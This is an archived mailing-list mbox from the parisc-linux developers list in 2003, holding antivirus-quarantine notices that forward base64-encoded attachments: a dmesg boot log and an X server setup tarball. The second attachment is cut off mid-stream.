Exr2e/IPwmqgu6tAd7eXQcPbzjWg7jWgq5a7QvDh4BqZBvo1oGsEH/SuAfWvAV2jgsHgGtDoMmjU
u2Km0TUGHvWu0NOof4VMwzu1nuDmE74fDi9Po3evERtQuiwYVtbSa0GwQuheFLN3EXF5q7cXEYOL
iLuLiNFFhH55M3r/kipvz3U5c9gw9JQzF+RASQ58Y9i4XydZtH1Nnnay2s0YN2vuFOovuIlXyW67
jt4/igcZ83yCZOVo5SW2nc591lLOFu8gBzr8awaWze/1QUcOEB8y3w/6UuLxS7F0v1nV6m3RwGlo
IOBj2XbFcPODv32cp2n+KmMY+7LPcJ+Tdf0huvIJq/hYQfbp1Ex0iNfaa/T0q3yROqaJkLGHM/EI
Y1ZfOsQoN9G48iU4Es/7kNN5D1WXmyHT5EuLS1okT+VH3qeX8EqXAgce85dN18net3n6UvqbjBN7
S9dvNlPN5GcWZe9alu7zZBOfseB6JP0/DrXG+CEvAAA=

------_=_NextPart_000_01C2CB92.F2DABB40--


From - Thu Nov 08 21:26:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ANTIGEN-WCHRNTMS02 <ANTIGEN-WCHRNTMS02@mercer.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Antigen forwarded attachment
Date: Mon, 3 Feb 2003 14:45:52 -0000
Lines: 91
Approved: news@gmane.org
Message-ID: <858C0106622BD611A96400D0B74751C00100A843@WCHRNTMS02>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C2CB92.F30F38C0"
X-Trace: ger.gmane.org 1416622182 21281 80.91.229.3 (22 Nov 2014 02:09:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:42 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 08:16:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from wgd1ntecout02.wmmercer.com (wgd1ntecout02.mercer.com [204.26.1.160])
	by dsl2.external.hp.com (Postfix) with ESMTP id 97DF84829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 08:16:57 -0700 (MST)
Original-Received: from wgd1ntec03.mercer.com (168.168.67.112 [168.168.67.112]) by wgd1ntecout02.wmmercer.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59)
	id 1DBY8GXW; Mon, 3 Feb 2003 10:14:51 -0500
Original-Received: from wlvpntec02.uk.wmmercer.com (WLVPNTEC02 [10.200.144.102]) by wgd1ntec03.mercer.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59)
	id DZ5Q86ML; Mon, 3 Feb 2003 10:10:50 -0500
Original-Received: by WLVPNTEC02 with Internet Mail Service (5.5.2656.59)
	id <1CRPS15Y>; Mon, 3 Feb 2003 15:16:49 -0000
X-Sybari-Space: 00000000 00000000 00000000 00000000
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17609

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C2CB92.F30F38C0
Content-Type: text/plain

The file attachment from the message "[parisc-linux] 2.5.56-pa0 64bit
successful boot", originally sent to you by Thibaut VARENE
(varenet@esiee.fr), has been forwarded to you from the Antigen Quarantine
area.
This attachment may have been re-scanned by Antigen and handled according to
the appropriate scan job's settings.



This e-mail and any attachments may be confidential or legally privileged.
If you received this message in error or are not the intended recipient, you
should destroy the e-mail message and any attachments or copies, and you are
prohibited from retaining, distributing, disclosing or using any information
contained herein.  Please inform us of the erroneous delivery by return
e-mail.  Thank you for your co-operation. 
Mercer Human Resource Consulting Limited is regulated by the Financial
Services Authority and is a member of the General Insurance Standards
Council. Registered in England No. 984275. Registered Office: Telford House,
14 Tothill Street, London SW1H 9NB 

  


------_=_NextPart_000_01C2CB92.F30F38C0
Content-Type: application/octet-stream;
	name="dmesg-2.5.56-a500.gz"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="dmesg-2.5.56-a500.gz"

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
IwAA

------_=_NextPart_000_01C2CB92.F30F38C0--


From - Thu Nov 08 21:26:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ANTIGEN-WCHRNTMS02 <ANTIGEN-WCHRNTMS02@mercer.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Antigen forwarded attachment
Date: Mon, 3 Feb 2003 14:45:52 -0000
Lines: 154
Approved: news@gmane.org
Message-ID: <858C0106622BD611A96400D0B74751C00100A844@WCHRNTMS02>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C2CB92.F332ED60"
X-Trace: ger.gmane.org 1416622182 21284 80.91.229.3 (22 Nov 2014 02:09:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:42 +0000 (UTC)
Cc: "'deller@gmx.de'" <deller@gmx.de>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "'kxh3@wwarc1.atl.hp.com'" <kxh3@wwarc1.atl.hp.com>,
	"'mmehta@elgin.edu'" <mmehta@elgin.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 08:19:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from wgd1ntecout02.wmmercer.com (wgd1ntecout02.mercer.com [204.26.1.160])
	by dsl2.external.hp.com (Postfix) with ESMTP id B17054863
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 08:19:02 -0700 (MST)
Original-Received: from wgd1ntec03.mercer.com (168.168.67.112 [168.168.67.112]) by wgd1ntecout02.wmmercer.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59)
	id 1DBY8G81; Mon, 3 Feb 2003 10:16:56 -0500
Original-Received: from wlvpntec02.uk.wmmercer.com (WLVPNTEC02 [10.200.144.102]) by wgd1ntec03.mercer.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59)
	id DZ5Q86VC; Mon, 3 Feb 2003 10:12:55 -0500
Original-Received: by WLVPNTEC02 with Internet Mail Service (5.5.2656.59)
	id <1CRPS16Y>; Mon, 3 Feb 2003 15:18:54 -0000
X-Sybari-Space: 00000000 00000000 00000000 00000000
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17610

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C2CB92.F332ED60
Content-Type: text/plain

The file attachment from the message "RE: [parisc-linux] RE: X windows setup
on C110 with woody and ker nel-2.4.20pa22", originally sent to you by Mehta,
Miten (mmehta@elgin.edu), has been forwarded to you from the Antigen
Quarantine area.
This attachment may have been re-scanned by Antigen and handled according to
the appropriate scan job's settings.



This e-mail and any attachments may be confidential or legally privileged.
If you received this message in error or are not the intended recipient, you
should destroy the e-mail message and any attachments or copies, and you are
prohibited from retaining, distributing, disclosing or using any information
contained herein.  Please inform us of the erroneous delivery by return
e-mail.  Thank you for your co-operation. 
Mercer Human Resource Consulting Limited is regulated by the Financial
Services Authority and is a member of the General Insurance Standards
Council. Registered in England No. 984275. Registered Office: Telford House,
14 Tothill Street, London SW1H 9NB 

  


------_=_NextPart_000_01C2CB92.F332ED60
Content-Type: application/octet-stream;
	name="xfree_c110.tar.gz"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="xfree_c110.tar.gz"

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
